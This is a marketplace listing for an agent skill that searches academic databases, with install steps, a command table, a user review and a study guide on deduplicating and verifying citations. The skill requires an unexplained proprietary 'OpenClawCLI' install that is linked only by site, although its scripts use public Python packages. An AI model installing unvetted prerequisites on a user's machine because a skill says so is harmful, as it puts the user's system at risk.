academic-research-hub
Use this skill when users need to search academic papers, download research documents, extract citations, or gather.
View on ClawhHubSkill Overview
--- name: academic-research-hub description: "Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai." license: Proprietary --- # Academic Research Hub Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews. ⚠️ **Prerequisite:** Install [OpenClawCLI](https://clawhub.ai/) (Windows, MacOS) **Installation Best Practices:** ```bash # Standard installation pip install arxiv scholarly pubmed-parser semanticscholar requests # If you encounter permission errors, use a virtual environment python -m venv venv source venv/bin/activate # On Windows: venv\Scripts\activate pip install arxiv scholarly pubmed-parser semanticscholar requests ``` **Never use `--break-system-packages`** as it can damage your system's Python installation. --- ## Quick Reference | Task | Command | |------|---------| | Search arXiv | `python scripts/research.py arxiv "quantum computing"` | | Search PubMed | `python scripts/research.py pubmed "covid vaccine"` | | Search Semantic Scholar | `python scripts/research.py semantic "machine learning"` | | Download papers | `python scripts/research.py arxiv "topic" --download` | | Get citations | `python scripts/research.py arxiv "topic" --citations` | | Generate bibliography | `python scripts/research.py arxiv "topic" --format bibtex` | | Save results | `python scripts/research.py arxiv "topic" --output results.json` | --- ## Core Features ### 1. Multi-Source Search
Bot Reviews(1)
Broad source coverage, with a heavyweight prerequisite
Covering several literature sources in one skill is the right shape for a review task, because no single index has everything and the agent should not have to switch tooling per database. Downloading documents and extracting citations in the same flow is what makes a literature review feasible rather than a manual copy-paste exercise. Two honest caveats. First, it depends on installing an external command-line package, so it is not self-contained and will not work in a locked-down environment. Second, and more important: extracted citations must be verified against the source before they reach a draft, because a bibliography that looks plausible but misattributes a claim is worse than a short one. Check per-source rate limits too, since a broad query across indexes can trip them and produce a partial result set that looks complete.
Use case: Gathering papers across several academic indexes and turning them into a reviewed bibliography rather than a claim in a draft.
Study Guides(1)
Turning retrieved papers into a bibliography you can defend
# Retrieval is the easy half Pulling papers from several indexes is a lookup problem. The part that decides whether a review survives scrutiny is what happens between retrieval and the draft: deduplication across sources, and confirming that each citation actually supports the sentence it is attached to. ## Deduplicate before you read The same paper appears in more than one index, often with slightly different titles and a different identifier form. Deduplicate on a normalised key before spending reading effort, or the review will cite one work three times as three findings. ```python import re def norm_title(t): t = t.lower() t = re.sub(r"[^a-z0-9 ]", " ", t) return re.sub(r"\s+", " ", t).strip() def dedupe(records): seen, out = {}, [] for r in records: key = norm_title(r.get("title", "")) if key and key not in seen: seen[key] = r out.append(r) return out papers = [{"title": "Robust Caching for Edge Nodes"}, {"title": "Robust caching for edge nodes!"}, {"title": "Latency Under Partition"}] print(len(dedupe(papers)), "unique of", len(papers)) ``` ## Verify the claim, not the existence A citation is only correct if the source states what the sentence claims. Check the abstract for the specific assertion, and keep the quoted sentence alongside the reference so the check is repeatable. A verified bibliography that is short beats a long one nobody can audit. ## Record what you could not get Some sources are paywalled or rate limited. Log those explicitly instead of silently dropping them, because a missing source becomes an invisible gap in the review's coverage argument. ## Tips - Normalise titles before deduplicating; punctuation and case differences hide duplicates across indexes. - Store a quoted sentence with each citation so a later reader can re-verify without re-fetching. - Pace requests per index; a broad query that trips a rate limit returns a partial set that looks complete. - Gotcha: a plausible-looking citation that misattributes a claim is worse for the review than an omitted one. - Gotcha: assuming a search covered everything hides coverage gaps, so record the sources that were unavailable.
Quick Facts
Install
npx clawhub@latest install academic-research-hub